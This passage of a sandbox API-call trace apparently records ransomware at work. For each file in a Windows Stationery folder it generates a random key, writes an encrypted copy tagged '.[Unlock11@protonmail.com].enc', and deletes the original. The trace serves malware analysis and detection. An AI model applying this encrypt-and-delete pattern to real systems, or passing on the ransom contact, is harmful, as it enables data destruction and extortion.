out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.130] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.131] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.131] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.131] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.136] GetFileType (hFile=0x39c) returned 0x1 [0199.136] GetFileType (hFile=0x39c) returned 0x1 [0199.136] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.137] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.137] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.137] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.137] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.148] CloseHandle (hObject=0x39c) returned 1 [0199.149] CloseHandle (hObject=0x334) returned 1 [0199.149] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0 [0199.149] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm", lpFilePart=0x9bada4*="Hand Prints.htm") returned 0x4f [0199.150] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\hand prints.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb)) returned 1 [0199.150] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674c64 | out: pbBuffer=0x3674c64) returned 1 [0199.150] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.150] GetFileType (hFile=0x334) returned 0x1 [0199.150] GetFileType (hFile=0x334) returned 0x1 [0199.150] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.151] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.151] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.151] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.151] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.151] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.151] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.151] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\hand prints.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.152] GetFileType (hFile=0x39c) returned 0x1 [0199.152] GetFileType (hFile=0x39c) returned 0x1 [0199.152] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.152] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.152] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.152] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.152] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.152] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.152] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.154] CloseHandle (hObject=0x39c) returned 1 [0199.154] CloseHandle (hObject=0x334) returned 1 [0199.155] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0 [0199.155] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg", lpFilePart=0x9bada4*="HandPrints.jpg") returned 0x4e [0199.155] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\handprints.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e)) returned 1 [0199.155] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674214 | out: pbBuffer=0x3674214) returned 1 [0199.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0199.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0199.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0199.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37342f0 [0199.156] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.156] GetFileType (hFile=0x334) returned 0x1 [0199.156] GetFileType (hFile=0x334) returned 0x1 [0199.156] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.157] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.157] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.157] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.157] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.157] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.157] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.157] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\handprints.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.159] GetFileType (hFile=0x39c) returned 0x1 [0199.159] GetFileType (hFile=0x39c) returned 0x1 [0199.159] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.159] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.159] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.159] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.159] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.159] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.160] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.163] CloseHandle (hObject=0x39c) returned 1 [0199.164] CloseHandle (hObject=0x334) returned 1 [0199.164] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0 [0199.164] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpFilePart=0x9bada4*="Orange Circles.htm") returned 0x52 [0199.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0199.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0199.164] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.164] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.165] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orange circles.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1 [0199.165] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674854 | out: pbBuffer=0x3674854) returned 1 [0199.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0199.165] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0199.165] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0199.165] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.166] GetFileType (hFile=0x334) returned 0x1 [0199.166] GetFileType (hFile=0x334) returned 0x1 [0199.166] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.166] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.166] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.166] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.166] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.166] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.166] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.167] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orange circles.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.167] GetFileType (hFile=0x39c) returned 0x1 [0199.167] GetFileType (hFile=0x39c) returned 0x1 [0199.167] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.167] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.167] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.168] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.168] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.168] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.168] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.169] CloseHandle (hObject=0x39c) returned 1 [0199.170] CloseHandle (hObject=0x334) returned 1 [0199.170] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0 [0199.170] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpFilePart=0x9bada4*="OrangeCircles.jpg") returned 0x51 [0199.170] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.171] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed)) returned 1 [0199.171] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36749e4 | out: pbBuffer=0x36749e4) returned 1 [0199.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0199.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0199.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0199.171] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.172] GetFileType (hFile=0x334) returned 0x1 [0199.172] GetFileType (hFile=0x334) returned 0x1 [0199.172] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.172] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.172] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.172] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.172] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.172] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.172] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.172] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orangecircles.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.173] GetFileType (hFile=0x39c) returned 0x1 [0199.173] GetFileType (hFile=0x39c) returned 0x1 [0199.173] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.173] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.173] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.173] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.173] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.174] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.174] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.176] CloseHandle (hObject=0x39c) returned 1 [0199.176] CloseHandle (hObject=0x334) returned 1 [0199.176] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0 [0199.177] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpFilePart=0x9bada4*="Peacock.htm") returned 0x4b [0199.177] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1 [0199.177] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36746ec | out: pbBuffer=0x36746ec) returned 1 [0199.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0199.178] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.178] GetFileType (hFile=0x334) returned 0x1 [0199.178] GetFileType (hFile=0x334) returned 0x1 [0199.178] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.178] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.179] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.179] GetFileType (hFile=0x39c) returned 0x1 [0199.179] GetFileType (hFile=0x39c) returned 0x1 [0199.179] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.180] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.180] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.180] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.180] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.180] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.180] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.182] CloseHandle (hObject=0x39c) returned 1 [0199.182] CloseHandle (hObject=0x334) returned 1 [0199.182] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0 [0199.182] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg", lpFilePart=0x9bada4*="Peacock.jpg") returned 0x4b [0199.183] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: 